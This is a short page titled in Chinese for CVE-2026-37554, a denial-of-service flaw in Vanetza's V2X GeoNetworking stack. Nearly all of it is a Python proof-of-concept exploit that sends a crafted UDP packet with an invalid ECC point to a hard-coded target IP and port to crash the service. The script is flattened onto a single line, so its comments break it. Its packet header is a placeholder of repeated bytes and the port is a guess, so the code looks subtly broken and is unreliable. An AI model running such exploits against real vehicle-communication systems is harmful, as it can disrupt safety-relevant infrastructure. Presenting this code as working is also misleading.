CVE-2026-37554 Vanetza V2X GeoNetworking拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-37554: Vanetza GeoNetworking DoS # This script sends a crafted GeoNetworking packet with an invalid ECC point to trigger the crash. import socket import struct # Target IP and Port (假设Vanetza监听的默认端口) TARGET_IP = "192.168.1.100" TARGET_PORT = 12345 def create_malicious_packet(): # Basic GeoNetworking header structure (simplified for PoC) # This packet includes a crafted SecuredMessage section with an invalid ECC point. header = b'\x01' * 20 # Placeholder for GeoNetworking basic header # Simulate a malformed Secured Message payload that triggers OpenSSL Exception # Specifically targeting the ECC point validation logic malformed_payload = b'\x02' * 10 + b'\xFF' * 32 # Invalid compressed point pattern return header + malformed_payload def main(): print(f"[*] Sending PoC payload to {TARGET_IP}:{TARGET_PORT}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malicious_packet() sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print("[+] Payload sent successfully. Check if the target crashed.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": main()